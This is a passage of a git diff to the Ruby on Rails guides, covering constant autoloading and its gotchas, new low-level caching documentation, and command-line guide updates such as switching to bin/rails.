+The value of `autoload_paths` can be inspected. In a just generated application
+it is (edited):
+
+```
+$ bin/rails r 'puts ActiveSupport::Dependencies.autoload_paths'
+.../app/assets
+.../app/controllers
+.../app/helpers
+.../app/mailers
+.../app/models
+.../app/controllers/concerns
+.../app/models/concerns
+.../test/mailers/previews
+```
+
+INFO. `autoload_paths` is computed and cached during the initialization process.
+The application needs to be restarted to reflect any changes in the directory
+structure.
+
+
+Autoloading Algorithms
+----------------------
+
+### Relative References
+
+A relative constant reference may appear in several places, for example, in
+
+```ruby
+class PostsController < ApplicationController
+  def index
+    @posts = Post.all
+  end
+end
+```
+
+all three constant references are relative.
+
+#### Constants after the `class` and `module` Keywords
+
+Ruby performs a lookup for the constant that follows a `class` or `module`
+keyword because it needs to know if the class or module is going to be created
+or reopened.
+
+If the constant is not defined at that point it is not considered to be a
+missing constant, autoloading is **not** triggered.
+
+So, in the previous example, if `PostsController` is not defined when the file
+is interpreted Rails autoloading is not going to be triggered, Ruby will just
+define the controller.
+
+#### Top-Level Constants
+
+On the contrary, if `ApplicationController` is unknown, the constant is
+considered missing and an autoload is going to be attempted by Rails.
+
+In order to load `ApplicationController`, Rails iterates over `autoload_paths`.
+First checks if `app/assets/application_controller.rb` exists. If it does not,
+which is normally the case, it continues and finds
+`app/controllers/application_controller.rb`.
+
+If the file defines the constant `ApplicationController` all is fine, otherwise
+`LoadError` is raised:
+
+```
+unable to autoload constant ApplicationController, expected
+<full path to application_controller.rb> to define it (LoadError)
+```
+
+INFO. Rails does not require the value of autoloaded constants to be a class or
+module object. For example, if the file `app/models/max_clients.rb` defines
+`MAX_CLIENTS = 100` autoloading `MAX_CLIENTS` works just fine.
+
+#### Namespaces
+
+Autoloading `ApplicationController` looks directly under the directories of
+`autoload_paths` because the nesting in that spot is empty. The situation of
+`Post` is different, the nesting in that line is `[PostsController]` and support
+for namespaces comes into play.
+
+The basic idea is that given
+
+```ruby
+module Admin
+  class BaseController < ApplicationController
+    @@all_roles = Role.all
+  end
+end
+```
+
+to autoload `Role` we are going to check if it is defined in the current or
+parent namespaces, one at a time. So, conceptually we want to try to autoload
+any of
+
+```
+Admin::BaseController::Role
+Admin::Role
+Role
+```
+
+in that order. That's the idea. To do so, Rails looks in `autoload_paths`
+respectively for file names like these:
+
+```
+admin/base_controller/role.rb
+admin/role.rb
+role.rb
+```
+
+modulus some additional directory lookups we are going to cover soon.
+
+INFO. `'Constant::Name'.underscore` gives the relative path without extension of
+the file name where `Constant::Name` is expected to be defined.
+
+Let's see how Rails autoloads the `Post` constant in the `PostsController`
+above assuming the application has a `Post` model defined in
+`app/models/post.rb`.
+
+First it checks for `posts_controller/post.rb` in `autoload_paths`:
+
+```
+app/assets/posts_controller/post.rb
+app/controllers/posts_controller/post.rb
+app/helpers/posts_controller/post.rb
+...
+test/mailers/previews/posts_controller/post.rb
+```
+
+Since the lookup is exhausted without success, a similar search for a directory
+is performed, we are going to see why in the [next section](#automatic-modules):
+
+```
+app/assets/posts_controller/post
+app/controllers/posts_controller/post
+app/helpers/posts_controller/post
+...
+test/mailers/previews/posts_controller/post
+```
+
+If all those attempts fail, then Rails starts the lookup again in the parent
+namespace. In this case only the top-level remains:
+
+```
+app/assets/post.rb
+app/controllers/post.rb
+app/helpers/post.rb
+app/mailers/post.rb
+app/models/post.rb
+```
+
+A matching file is found in `app/models/post.rb`. The lookup stops there and the
+file is loaded. If the file actually defines `Post` all is fine, otherwise
+`LoadError` is raised.
+
+### Qualified References
+
+When a qualified constant is missing Rails does not look for it in the parent
+namespaces. But there is a caveat: When a constant is missing, Rails is
+unable to tell if the trigger was a relative reference or a qualified one.
+
+For example, consider
+
+```ruby
+module Admin
+  User
+end
+```
+
+and
+
+```ruby
+Admin::User
+```
+
+If `User` is missing, in either case all Rails knows is that a constant called
+"User" was missing in a module called "Admin".
+
+If there is a top-level `User` Ruby would resolve it in the former example, but
+wouldn't in the latter. In general, Rails does not emulate the Ruby constant
+resolution algorithms, but in this case it tries using the following heuristic:
+
+> If none of the parent namespaces of the class or module has the missing
+> constant then Rails assumes the reference is relative. Otherwise qualified.
+
+For example, if this code triggers autoloading
+
+```ruby
+Admin::User
+```
+
+and the `User` constant is already present in `Object`, it is not possible that
+the situation is
+
+```ruby
+module Admin
+  User
+end
+```
+
+because otherwise Ruby would have resolved `User` and no autoloading would have
+been triggered in the first place. Thus, Rails assumes a qualified reference and
+considers the file `admin/user.rb` and directory `admin/user` to be the only
+valid options.
+
+In practice, this works quite well as long as the nesting matches all parent
+namespaces respectively and the constants that make the rule apply are known at
+that time.
+
+However, autoloading happens on demand. If by chance the top-level `User` was
+not yet loaded, then Rails assumes a relative reference by contract.
+
+Naming conflicts of this kind are rare in practice, but if one occurs,
+`require_dependency` provides a solution by ensuring that the constant needed
+to trigger the heuristic is defined in the conflicting place.
+
+### Automatic Modules
+
+When a module acts as a namespace, Rails does not require the application to
+defines a file for it, a directory matching the namespace is enough.
+
+Suppose an application has a back office whose controllers are stored in
+`app/controllers/admin`. If the `Admin` module is not yet loaded when
+`Admin::UsersController` is hit, Rails needs first to autoload the constant
+`Admin`.
+
+If `autoload_paths` has a file called `admin.rb` Rails is going to load that
+one, but if there's no such file and a directory called `admin` is found, Rails
+creates an empty module and assigns it to the `Admin` constant on the fly.
+
+### Generic Procedure
+
+Relative references are reported to be missing in the cref where they were hit,
+and qualified references are reported to be missing in their parent (see
+[Resolution Algorithm for Relative
+Constants](#resolution-algorithm-for-relative-constants) at the beginning of
+this guide for the definition of *cref*, and [Resolution Algorithm for Qualified
+Constants](#resolution-algorithm-for-qualified-constants) for the definition of
+*parent*).
+
+The procedure to autoload constant `C` in an arbitrary situation is as follows:
+
+```
+if the class or module in which C is missing is Object
+  let ns = ''
+else
+  let M = the class or module in which C is missing
+
+  if M is anonymous
+    let ns = ''
+  else
+    let ns = M.name
+  end
+end
+
+loop do
+  # Look for a regular file.
+  for dir in autoload_paths
+    if the file "#{dir}/#{ns.underscore}/c.rb" exists
+      load/require "#{dir}/#{ns.underscore}/c.rb"
+
+      if C is now defined
+        return
+      else
+        raise LoadError
+      end
+    end
+  end
+
+  # Look for an automatic module.
+  for dir in autoload_paths
+    if the directory "#{dir}/#{ns.underscore}/c" exists
+      if ns is an empty string
+        let C = Module.new in Object and return
+      else
+        let C = Module.new in ns.constantize and return
+      end
+    end
+  end
+
+  if ns is empty
+    # We reached the top-level without finding the constant.
+    raise NameError
+  else
+    if C exists in any of the parent namespaces
+      # Qualified constants heuristic.
+      raise NameError
+    else
+      # Try again in the parent namespace.
+      let ns = the parent namespace of ns and retry
+    end
+  end
+end
+```
+
+
+require_dependency
+------------------
+
+Constant autoloading is triggered on demand and therefore code that uses a
+certain constant may have it already defined or may trigger an autoload. That
+depends on the execution path and it may vary between runs.
+
+There are times, however, in which you want to make sure a certain constant is
+known when the execution reaches some code. `require_dependency` provides a way
+to load a file using the current [loading mechanism](#loading-mechanism), and
+keeping track of constants defined in that file as if they were autoloaded to
+have them reloaded as needed.
+
+`require_dependency` is rarely needed, but see a couple of use-cases in
+[Autoloading and STI](#autoloading-and-sti) and [When Constants aren't
+Triggered](#when-constants-aren-t-missed).
+
+WARNING. Unlike autoloading, `require_dependency` does not expect the file to
+define any particular constant. Exploiting this behavior would be a bad practice
+though, file and constant paths should match.
+
+
+Constant Reloading
+------------------
+
+When `config.cache_classes` is false Rails is able to reload autoloaded
+constants.
+
+For example, in you're in a console session and edit some file behind the
+scenes, the code can be reloaded with the `reload!` command:
+
+```
+> reload!
+```
+
+When the application runs, code is reloaded when something relevant to this
+logic changes. In order to do that, Rails monitors a number of things:
+
+* `config/routes.rb`.
+
+* Locales.
+
+* Ruby files under `autoload_paths`.
+
+* `db/schema.rb` and `db/structure.sql`.
+
+If anything in there changes, there is a middleware that detects it and reloads
+the code.
+
+Autoloading keeps track of autoloaded constants. Reloading is implemented by
+removing them all from their respective classes and modules using
+`Module#remove_const`. That way, when the code goes on, those constants are
+going to be unknown again, and files reloaded on demand.
+
+INFO. This is an all-or-nothing operation, Rails does not attempt to reload only
+what changed since dependencies between classes makes that really tricky.
+Instead, everything is wiped.
+
+
+Module#autoload isn't Involved
+------------------------------
+
+`Module#autoload` provides a lazy way to load constants that is fully integrated
+with the Ruby constant lookup algorithms, dynamic constant API, etc. It is quite
+transparent.
+
+Rails internals make extensive use of it to defer as much work as possible from
+the boot process. But constant autoloading in Rails is **not** implemented with
+`Module#autoload`.
+
+One possible implementation based on `Module#autoload` would be to walk the
+application tree and issue `autoload` calls that map existing file names to
+their conventional constant name.
+
+There are a number of reasons that prevent Rails from using that implementation.
+
+For example, `Module#autoload` is only capable of loading files using `require`,
+so reloading would not be possible. Not only that, it uses an internal `require`
+which is not `Kernel#require`.
+
+Then, it provides no way to remove declarations in case a file is deleted. If a
+constant gets removed with `Module#remove_const` its `autoload` is not triggered
+again. Also, it doesn't support qualified names, so files with namespaces should
+be interpreted during the walk tree to install their own `autoload` calls, but
+those files could have constant references not yet configured.
+
+An implementation based on `Module#autoload` would be awesome but, as you see,
+at least as of today it is not possible. Constant autoloading in Rails is
+implemented with `Module#const_missing`, and that's why it has its own contract,
+documented in this guide.
+
+
+Common Gotchas
+--------------
+
+### Nesting and Qualified Constants
+
+Let's consider
+
+```ruby
+module Admin
+  class UsersController < ApplicationController
+    def index
+      @users = User.all
+    end
+  end
+end
+```
+
+and
+
+```ruby
+class Admin::UsersController < ApplicationController
+  def index
+    @users = User.all
+  end
+end
+```
+
+To resolve `User` Ruby checks `Admin` in the former case, but it does not in
+the latter because it does not belong to the nesting (see [Nesting](#nesting)
+and [Resolution Algorithms](#resolution-algorithms)).
+
+Unfortunately Rails autoloading does not know the nesting in the spot where the
+constant was missing and so it is not able to act as Ruby would. In particular,
+`Admin::User` will get autoloaded in either case.
+
+Albeit qualified constants with `class` and `module` keywords may technically
+work with autoloading in some cases, it is preferable to use relative constants
+instead:
+
+```ruby
+module Admin
+  class UsersController < ApplicationController
+    def index
+      @users = User.all
+    end
+  end
+end
+```
+
+### Autoloading and STI
+
+Single Table Inheritance (STI) is a feature of Active Record that enables
+storing a hierarchy of models in one single table. The API of such models is
+aware of the hierarchy and encapsulates some common needs. For example, given
+these classes:
+
+```ruby
+# app/models/polygon.rb
+class Polygon < ActiveRecord::Base
+end
+
+# app/models/triangle.rb
+class Triangle < Polygon
+end
+
+# app/models/rectangle.rb
+class Rectangle < Polygon
+end
+```
+
+`Triangle.create` creates a row that represents a triangle, and
+`Rectangle.create` creates a row that represents a rectangle. If `id` is the
+ID of an existing record, `Polygon.find(id)` returns an object of the correct
+type.
+
+Methods that operate on collections are also aware of the hierarchy. For
+example, `Polygon.all` returns all the records of the table, because all
+rectangles and triangles are polygons. Active Record takes care of returning
+instances of their corresponding class in the result set.
+
+Types are autoloaded as needed. For example, if `Polygon.first` is a rectangle
+and `Rectangle` has not yet been loaded, Active Record autoloads it and the
+record is correctly instantiated.
+
+All good, but if instead of performing queries based on the root class we need
+to work on some subclass, things get interesting.
+
+While working with `Polygon` you do not need to be aware of all its descendants,
+because anything in the table is by definition a polygon, but when working with
+subclasses Active Record needs to be able to enumerate the types it is looking
+for. Let’s see an example.
+
+`Rectangle.all` only loads rectangles by adding a type constraint to the query:
+
+```sql
+SELECT "polygons".* FROM "polygons"
+WHERE "polygons"."type" IN ("Rectangle")
+```
+
+Let’s introduce now a subclass of `Rectangle`:
+
+```ruby
+# app/models/square.rb
+class Square < Rectangle
+end
+```
+
+`Rectangle.all` should now return rectangles **and** squares:
+
+```sql
+SELECT "polygons".* FROM "polygons"
+WHERE "polygons"."type" IN ("Rectangle", "Square")
+```
+
+But there’s a caveat here: How does Active Record know that the class `Square`
+exists at all?
+
+Even if the file `app/models/square.rb` exists and defines the `Square` class,
+if no code yet used that class, `Rectangle.all` issues the query
+
+```sql
+SELECT "polygons".* FROM "polygons"
+WHERE "polygons"."type" IN ("Rectangle")
+```
+
+That is not a bug, the query includes all *known* descendants of `Rectangle`.
+
+A way to ensure this works correctly regardless of the order of execution is to
+load the leaves of the tree by hand at the bottom of the file that defines the
+root class:
+
+```ruby
+# app/models/polygon.rb
+class Polygon < ActiveRecord::Base
+end
+require_dependency ‘square’
+```
+
+Only the leaves that are **at least grandchildren** need to be loaded this
+way. Direct subclasses do not need to be preloaded. If the hierarchy is
+deeper, intermediate classes will be autoloaded recursively from the bottom
+because their constant will appear in the class definitions as superclass.
+
+### Autoloading and `require`
+
+Files defining constants to be autoloaded should never be `require`d:
+
+```ruby
+require 'user' # DO NOT DO THIS
+
+class UsersController < ApplicationController
+  ...
+end
+```
+
+There are two possible gotchas here in development mode:
+
+1. If `User` is autoloaded before reaching the `require`, `app/models/user.rb`
+runs again because `load` does not update `$LOADED_FEATURES`.
+
+2. If the `require` runs first Rails does not mark `User` as an autoloaded
+constant and changes to `app/models/user.rb` aren't reloaded.
+
+Just follow the flow and use constant autoloading always, never mix
+autoloading and `require`. As a last resort, if some file absolutely needs to
+load a certain file use `require_dependency` to play nice with constant
+autoloading. This option is rarely needed in practice, though.
+
+Of course, using `require` in autoloaded files to load ordinary 3rd party
+libraries is fine, and Rails is able to distinguish their constants, they are
+not marked as autoloaded.
+
+### Autoloading and Initializers
+
+Consider this assignment in `config/initializers/set_auth_service.rb`:
+
+```ruby
+AUTH_SERVICE = if Rails.env.production?
+  RealAuthService
+else
+  MockedAuthService
+end
+```
+
+The purpose of this setup would be that the application uses the class that
+corresponds to the environment via `AUTH_SERVICE`. In development mode
+`MockedAuthService` gets autoloaded when the initializer runs. Let’s suppose
+we do some requests, change its implementation, and hit the application again.
+To our surprise the changes are not reflected. Why?
+
+As [we saw earlier](#constant-reloading), Rails removes autoloaded constants,
+but `AUTH_SERVICE` stores the original class object. Stale, non-reachable
+using the original constant, but perfectly functional.
+
+The following code summarizes the situation:
+
+```ruby
+class C
+  def quack
+    'quack!'
+  end
+end
+
+X = C
+Object.instance_eval { remove_const(:C) }
+X.new.quack # => quack!
+X.name      # => C
+C           # => uninitialized constant C (NameError)
+```
+
+Because of that, it is not a good idea to autoload constants on application
+initialization.
+
+In the case above we could implement a dynamic access point:
+
+```ruby
+# app/models/auth_service.rb
+class AuthService
+  if Rails.env.production?
+    def self.instance
+      RealAuthService
+    end
+  else
+    def self.instance
+      MockedAuthService
+    end
+  end
+end
+```
+
+and have the application use `AuthService.instance` instead. `AuthService`
+would be loaded on demand and be autoload-friendly.
+
+### `require_dependency` and Initializers
+
+As we saw before, `require_dependency` loads files in an autoloading-friendly
+way. Normally, though, such a call does not make sense in an initializer.
+
+One could think about doing some [`require_dependency`](#require-dependency)
+calls in an initializer to make sure certain constants are loaded upfront, for
+example as an attempt to address the [gotcha with STIs](#autoloading-and-sti).
+
+Problem is, in development mode [autoloaded constants are wiped](#constant-reloading)
+if there is any relevant change in the file system. If that happens then
+we are in the very same situation the initializer wanted to avoid!
+
+Calls to `require_dependency` have to be strategically written in autoloaded
+spots.
+
+### When Constants aren't Missed
+
+#### Relative References
+
+Let's consider a flight simulator. The application has a default flight model
+
+```ruby
+# app/models/flight_model.rb
+class FlightModel
+end
+```
+
+that can be overridden by each airplane, for instance
+
+```ruby
+# app/models/bell_x1/flight_model.rb
+module BellX1
+  class FlightModel < FlightModel
+  end
+end
+
+# app/models/bell_x1/aircraft.rb
+module BellX1
+  class Aircraft
+    def initialize
+      @flight_model = FlightModel.new
+    end
+  end
+end
+```
+
+The initializer wants to create a `BellX1::FlightModel` and nesting has
+`BellX1`, that looks good. But if the default flight model is loaded and the
+one for the Bell-X1 is not, the interpreter is able to resolve the top-level
+`FlightModel` and autoloading is thus not triggered for `BellX1::FlightModel`.
+
+That code depends on the execution path.
+
+These kind of ambiguities can often be resolved using qualified constants:
+
+```ruby
+module BellX1
+  class Plane
+    def flight_model
+      @flight_model ||= BellX1::FlightModel.new
+    end
+  end
+end
+```
+
+Also, `require_dependency` is a solution:
+
+```ruby
+require_dependency 'bell_x1/flight_model'
+
+module BellX1
+  class Plane
+    def flight_model
+      @flight_model ||= FlightModel.new
+    end
+  end
+end
+```
+
+#### Qualified References
+
+Given
+
+```ruby
+# app/models/hotel.rb
+class Hotel
+end
+
+# app/models/image.rb
+class Image
+end
+
+# app/models/hotel/image.rb
+class Hotel
+  class Image < Image
+  end
+end
+```
+
+the expression `Hotel::Image` is ambiguous because it depends on the execution
+path.
+
+As [we saw before](#resolution-algorithm-for-qualified-constants), Ruby looks
+up the constant in `Hotel` and its ancestors. If `app/models/image.rb` has
+been loaded but `app/models/hotel/image.rb` hasn't, Ruby does not find `Image`
+in `Hotel`, but it does in `Object`:
+
+```
+$ bin/rails r 'Image; p Hotel::Image' 2>/dev/null
+Image # NOT Hotel::Image!
+```
+
+The code evaluating `Hotel::Image` needs to make sure
+`app/models/hotel/image.rb` has been loaded, possibly with
+`require_dependency`.
+
+In these cases the interpreter issues a warning though:
+
+```
+warning: toplevel constant Image referenced by Hotel::Image
+```
+
+This surprising constant resolution can be observed with any qualifying class:
+
+```
+2.1.5 :001 > String::Array
+(irb):1: warning: toplevel constant Array referenced by String::Array
+ => Array
+```
+
+WARNING. To find this gotcha the qualifying namespace has to be a class,
+`Object` is not an ancestor of modules.
+
+### Autoloading within Singleton Classes
+
+Let's suppose we have these class definitions:
+
+```ruby
+# app/models/hotel/services.rb
+module Hotel
+  class Services
+  end
+end
+
+# app/models/hotel/geo_location.rb
+module Hotel
+  class GeoLocation
+    class << self
+      Services
+    end
+  end
+end
+```
+
+If `Hotel::Services` is known by the time `app/models/hotel/geo_location.rb`
+is being loaded, `Services` is resolved by Ruby because `Hotel` belongs to the
+nesting when the singleton class of `Hotel::GeoLocation` is opened.
+
+But if `Hotel::Services` is not known, Rails is not able to autoload it, the
+application raises `NameError`.
+
+The reason is that autoloading is triggered for the singleton class, which is
+anonymous, and as [we saw before](#generic-procedure), Rails only checks the
+top-level namespace in that edge case.
+
+An easy solution to this caveat is to qualify the constant:
+
+```ruby
+module Hotel
+  class GeoLocation
+    class << self
+      Hotel::Services
+    end
+  end
+end
+```
+
+### Autoloading in `BasicObject`
+
+Direct descendants of `BasicObject` do not have `Object` among their ancestors
+and cannot resolve top-level constants:
+
+```ruby
+class C < BasicObject
+  String # NameError: uninitialized constant C::String
+end
+```
+
+When autoloading is involved that plot has a twist. Let's consider:
+
+```ruby
+class C < BasicObject
+  def user
+    User # WRONG
+  end
+end
+```
+
+Since Rails checks the top-level namespace `User` gets autoloaded just fine the
+first time the `user` method is invoked. You only get the exception if the
+`User` constant is known at that point, in particular in a *second* call to
+`user`:
+
+```ruby
+c = C.new
+c.user # surprisingly fine, User
+c.user # NameError: uninitialized constant C::User
+```
+
+because it detects that a parent namespace already has the constant (see [Qualified
+References](#autoloading-algorithms-qualified-references)).
+
+As with pure Ruby, within the body of a direct descendant of `BasicObject` use
+always absolute constant paths:
+
+```ruby
+class C < BasicObject
+  ::String # RIGHT
+
+  def user
+    ::User # RIGHT
+  end
+end
+```
diff --git a/guides/source/caching_with_rails.md b/guides/source/caching_with_rails.md
index 3cf6631c32..0fa20f7ccf 100644
--- a/guides/source/caching_with_rails.md
+++ b/guides/source/caching_with_rails.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Caching with Rails: An overview
 ===============================
 
@@ -28,15 +30,15 @@ config.action_controller.perform_caching = true
 
 ### Page Caching
 
-Page caching is a Rails mechanism which allows the request for a generated page to be fulfilled by the webserver (i.e. Apache or nginx), without ever having to go through the Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be applied to every situation (such as pages that need authentication) and since the webserver is literally just serving a file from the filesystem, cache expiration is an issue that needs to be dealt with.
+Page caching is a Rails mechanism which allows the request for a generated page to be fulfilled by the webserver (i.e. Apache or NGINX), without ever having to go through the Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be applied to every situation (such as pages that need authentication) and since the webserver is literally just serving a file from the filesystem, cache expiration is an issue that needs to be dealt with.
 
-INFO: Page Caching has been removed from Rails 4. See the [actionpack-page_caching gem](https://github.com/rails/actionpack-page_caching). See [DHH's key-based cache expiration overview](http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works) for the newly-preferred method.
+INFO: Page Caching has been removed from Rails 4. See the [actionpack-page_caching gem](https://github.com/rails/actionpack-page_caching). See [DHH's key-based cache expiration overview](http://signalvnoise.com/posts/3113-how-key-based-cache-expiration-works) for the newly-preferred method.
 
 ### Action Caching
 
 Page Caching cannot be used for actions that have before filters - for example, pages that require authentication. This is where Action Caching comes in. Action Caching works like Page Caching except the incoming web request hits the Rails stack so that before filters can be run on it before the cache is served. This allows authentication and other restrictions to be run while still serving the result of the output from a cached copy.
 
-INFO: Action Caching has been removed from Rails 4. See the [actionpack-action_caching gem](https://github.com/rails/actionpack-action_caching). See [DHH's key-based cache expiration overview](http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works) for the newly-preferred method.
+INFO: Action Caching has been removed from Rails 4. See the [actionpack-action_caching gem](https://github.com/rails/actionpack-action_caching). See [DHH's key-based cache expiration overview](http://signalvnoise.com/posts/3113-how-key-based-cache-expiration-works) for the newly-preferred method.
 
 ### Fragment Caching
 
@@ -105,7 +107,7 @@ This method generates a cache key that depends on all products and can be used i
 <% end %>
 ```
 
-If you want to cache a fragment under certain condition you can use `cache_if` or `cache_unless` 
+If you want to cache a fragment under certain conditions, you can use `cache_if` or `cache_unless`
 
 ```erb
 <% cache_if (condition, cache_key_for_products) do %>
@@ -140,6 +142,26 @@ You can also combine the two schemes which is called "Russian Doll Caching":
 
 It's called "Russian Doll Caching" because it nests multiple fragments. The advantage is that if a single product is updated, all the other inner fragments can be reused when regenerating the outer fragment.
 
+### Low-Level Caching
+
+Sometimes you need to cache a particular value or query result, instead of caching view fragments. Rails caching mechanism works great for storing __any__ kind of information.
+
+The most efficient way to implement low-level caching is using the `Rails.cache.fetch` method. This method does both reading and writing to the cache. When passed only a single argument, the key is fetched and value from the cache is returned. If a block is passed, the result of the block will be cached to the given key and the result is returned.
+
+Consider the following example. An application has a `Product` model with an instance method that looks up the product’s price on a competing website. The data returned by this method would be perfect for low-level caching:
+
+```ruby
+class Product < ActiveRecord::Base
+  def competing_price
+    Rails.cache.fetch("#{cache_key}/competing_price", expires_in: 12.hours) do
+      Competitor::API.find_price(id)
+    end
+  end
+end
+```
+
+NOTE: Notice that in this example we used `cache_key` method, so the resulting cache-key will be something like `products/233-20140225082222765838000/competing_price`. `cache_key` generates a string based on the model’s `id` and `updated_at` attributes. This is a common convention and has the benefit of invalidating the cache whenever the product is updated. In general, when you use low-level caching for instance level information, you need to generate a cache key.
+
 ### SQL Caching
 
 Query caching is a Rails feature that caches the result set returned by each query so that if Rails encounters the same query again for that request, it will use the cached result set as opposed to running the query against the database again.
@@ -162,10 +184,14 @@ class ProductsController < ApplicationController
 end
 ```
 
+The second time the same query is run against the database, it's not actually going to hit the database. The first time the result is returned from the query it is stored in the query cache (in memory) and the second time it's pulled from memory.
+
+However, it's important to note that query caches are created at the start of an action and destroyed at the end of that action and thus persist only for the duration of the action. If you'd like to store query results in a more persistent fashion, you can in Rails by using low level caching.
+
 Cache Stores
 ------------
 
-Rails provides different stores for the cached data created by <b>action</b> and <b>fragment</b> caches.
+Rails provides different stores for the cached data created by **action** and **fragment** caches.
 
 TIP: Page caches are always stored on disk.
 
@@ -189,7 +215,7 @@ The main methods to call are `read`, `write`, `delete`, `exist?`, and `fetch`. T
 
 There are some common options used by all cache implementations. These can be passed to the constructor or the various methods to interact with entries.
 
-* `:namespace` - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications. The default value will include the application name and Rails environment.
+* `:namespace` - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications.
 
 * `:compress` - This option can be used to indicate that compression should be used in the cache. This can be useful for transferring large cache entries over a slow network.
 
@@ -225,7 +251,7 @@ This is the default cache store implementation.
 
 ### ActiveSupport::Cache::MemCacheStore
 
-This cache store uses Danga's `memcached` server to provide a centralized cache for your application. Rails uses the bundled `dalli` gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very a high performance and redundancy.
+This cache store uses Danga's `memcached` server to provide a centralized cache for your application. Rails uses the bundled `dalli` gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very high performance and redundancy.
 
 When initializing the cache, you need to specify the addresses for all memcached servers in your cluster. If none is specified, it will assume memcached is running on the local host on the default port, but this is not an ideal set up for larger sites.
 
@@ -327,18 +353,23 @@ class ProductsController < ApplicationController
 end
 ```
 
-Instead of a options hash, you can also simply pass in a model, Rails will use the `updated_at` and `cache_key` methods for setting `last_modified` and `etag`:
+Instead of an options hash, you can also simply pass in a model, Rails will use the `updated_at` and `cache_key` methods for setting `last_modified` and `etag`:
 
 ```ruby
 class ProductsController < ApplicationController
   def show
     @product = Product.find(params[:id])
-    respond_with(@product) if stale?(@product)
+
+    if stale?(@product)
+      respond_to do |wants|
+        # ... normal response processing
+      end
+    end
   end
 end
 ```
 
-If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using respond_to or calling render yourself) then you've got an easy helper in fresh_when:
+If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using `respond_to` or calling render yourself) then you've got an easy helper in `fresh_when`:
 
 ```ruby
 class ProductsController < ApplicationController
diff --git a/guides/source/command_line.md b/guides/source/command_line.md
index f11e08a0c1..19ccdc5488 100644
--- a/guides/source/command_line.md
+++ b/guides/source/command_line.md
@@ -1,15 +1,14 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 The Rails Command Line
 ======================
 
-Rails comes with every command line tool you'll need to
-
 After reading this guide, you will know:
 
 * How to create a Rails application.
 * How to generate models, controllers, database migrations, and unit tests.
 * How to start a development server.
 * How to experiment with objects through an interactive shell.
-* How to profile and benchmark your new creation.
 
 --------------------------------------------------------------------------------
 
@@ -27,7 +26,7 @@ There are a few commands that are absolutely critical to your everyday usage of
 * `rails dbconsole`
 * `rails new app_name`
 
-All commands can run with ```-h or --help``` to list more information.
+All commands can run with `-h` or `--help` to list more information.
 
 Let's create a simple Rails application to step through each of these commands in context.
 
@@ -58,15 +57,13 @@ Rails will set you up with what seems like a huge amount of stuff for such a tin
 
 The `rails server` command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to access your application through a web browser.
 
-INFO: WEBrick isn't your only option for serving Rails. We'll get to that [later](#server-with-different-backends).
-
 With no further work, `rails server` will run our new shiny Rails app:
 
 ```bash
 $ cd commandsapp
-$ rails server
+$ bin/rails server
 => Booting WEBrick
-=> Rails 4.0.0 application starting in development on http://0.0.0.0:3000
+=> Rails 5.0.0 application starting in development on http://localhost:3000
 => Call with -d to detach
 => Ctrl-C to shutdown server
 [2013-08-07 02:00:01] INFO  WEBrick 1.3.1
@@ -81,10 +78,10 @@ INFO: You can also use the alias "s" to start the server: `rails s`.
 The server can be run on a different port using the `-p` option. The default development environment can be changed using `-e`.
 
 ```bash
-$ rails server -e production -p 4000
+$ bin/rails server -e production -p 4000
 ```
 
-The `-b` option binds Rails to the specified IP, by default it is 0.0.0.0. You can run a server as a daemon by passing a `-d` option.
+The `-b` option binds Rails to the specified IP, by default it is localhost. You can run a server as a daemon by passing a `-d` option.
 
 ### `rails generate`
 
@@ -93,7 +90,7 @@ The `rails generate` command uses templates to create a whole lot of things. Run
 INFO: You can also use the alias "g" to invoke the generator command: `rails g`.
 
 ```bash
-$ rails generate
+$ bin/rails generate
 Usage: rails generate GENERATOR [args] [options]
 
 ...
@@ -118,7 +115,7 @@ Let's make our own controller with the controller generator. But what command sh
 INFO: All Rails console utilities have help text. As with most *nix utilities, you can try adding `--help` or `-h` to the end, for example `rails server --help`.
 
 ```bash
-$ rails generate controller
+$ bin/rails generate controller
 Usage: rails generate controller NAME [action action] [options]
 
 ...
@@ -127,25 +124,24 @@ Usage: rails generate controller NAME [action action] [options]
 Description:
     ...
 
-    To create a controller within a module, specify the controller name as a
-    path like 'parent_module/controller_name'.
+    To create a controller within a module, specify the controller name as a path like 'parent_module/controller_name'.
 
     ...
 
 Example:
-    `rails generate controller CreditCard open debit credit close`
+    `rails generate controller CreditCards open debit credit close`
 
-    Credit card controller with URLs like /credit_card/debit.
-        Controller: app/controllers/credit_card_controller.rb
-        Test:       test/controllers/credit_card_controller_test.rb
-        Views:      app/views/credit_card/debit.html.erb [...]
-        Helper:     app/helpers/credit_card_helper.rb
+    Credit card controller with URLs like /credit_cards/debit.
+        Controller: app/controllers/credit_cards_controller.rb
+        Test:       test/controllers/credit_cards_controller_test.rb
+        Views:      app/views/credit_cards/debit.html.erb [...]
+        Helper:     app/helpers/credit_cards_helper.rb
 ```
 
 The controller generator is expecting parameters in the form of `generate controller ControllerName action1 action2`. Let's make a `Greetings` controller with an action of **hello**, which will say something nice to us.
 
 ```bash
-$ rails generate controller Greetings hello
+$ bin/rails generate controller Greetings hello
      create  app/controllers/greetings_controller.rb
       route  get "greetings/hello"
      invoke  erb
@@ -155,13 +151,11 @@ $ rails generate controller Greetings hello
      create    test/controllers/greetings_controller_test.rb
      invoke  helper
      create    app/helpers/greetings_helper.rb
-     invoke    test_unit
-     create      test/helpers/greetings_helper_test.rb
      invoke  assets
      invoke    coffee
-     create      app/assets/javascripts/greetings.js.coffee
+     create      app/assets/javascripts/greetings.coffee
      invoke    scss
-     create      app/assets/stylesheets/greetings.css.scss
+     create      app/assets/stylesheets/greetings.scss
 ```
 
 What all did this generate? It made sure a bunch of directories were in our application, and created a controller file, a view file, a functional test file, a helper for the view, a JavaScript file and a stylesheet file.
